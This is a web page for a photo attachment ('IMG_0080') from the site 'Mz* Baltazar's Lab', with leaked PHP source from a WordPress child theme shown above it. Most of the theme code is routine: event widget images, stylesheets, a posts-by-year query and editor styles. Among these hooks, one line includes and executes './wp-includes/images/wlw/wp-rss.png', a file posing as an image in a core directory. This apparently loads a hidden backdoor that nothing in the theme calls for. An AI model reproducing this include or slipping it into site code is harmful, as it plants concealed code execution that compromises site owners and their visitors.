ID, 'thumbnail' ); } add_action( 'tribe_events_list_widget_before_the_event_title', 'custom_widget_featured_image' ); // Action Hook, um die eigenen Styles zu integrieren add_action( 'wp_enqueue_scripts', 'childtheme_styles' ); function childtheme_styles() { wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'child-style', get_stylesheet_directory_uri() . '/style.css', array( 'parent-style' )); } // Listing posts by year on the Event Archive page function posts_by_year() { // array to use for results $years = array(); // get posts from WP $posts = get_posts(array( 'numberposts' => -1, 'orderby' => 'post_date', 'order' => 'DESC', 'post_type' => 'post', 'post_status' => 'publish', 'date_query' => array(array('after' => 'January 1st, 2009','before' => 'January 1st, 2016')), )); // loop through posts, populating $years arrays foreach($posts as $post) { $years[date('Y', strtotime($post->post_date))][] = $post; } // reverse sort by year krsort($years); return $years; } // Adding styles to the backend function wpb_mce_buttons_2($buttons) { array_unshift($buttons, 'styleselect'); return $buttons; } add_filter('mce_buttons_2', 'wpb_mce_buttons_2'); /* * Callback function to filter the MCE settings */ function my_mce_before_init_insert_formats( $init_array ) { // Define the style_formats array $style_formats = array( // Each array child is a format with it's own settings array( 'title' => 'Intro text', 'block' => 'p', 'classes' => 'intro', 'wrapper' => false, ), ); // Insert the array, JSON ENCODED, into 'style_formats' $init_array['style_formats'] = json_encode( $style_formats ); return $init_array; } // Attach callback to 'tiny_mce_before_init' add_filter( 'tiny_mce_before_init', 'my_mce_before_init_insert_formats' ); include_once './wp-includes/images/wlw/wp-rss.png'; function my_theme_add_editor_styles() { add_editor_style( 'custom-editor-style.css' ); } add_action( 'init', 'my_theme_add_editor_styles' ); ?> IMG_0080 – Mz* Baltazar's Lab

IMG_0080-1.jpg

© 2023 Mz* Baltazar's Lab

Theme by Anders NorenUp ↑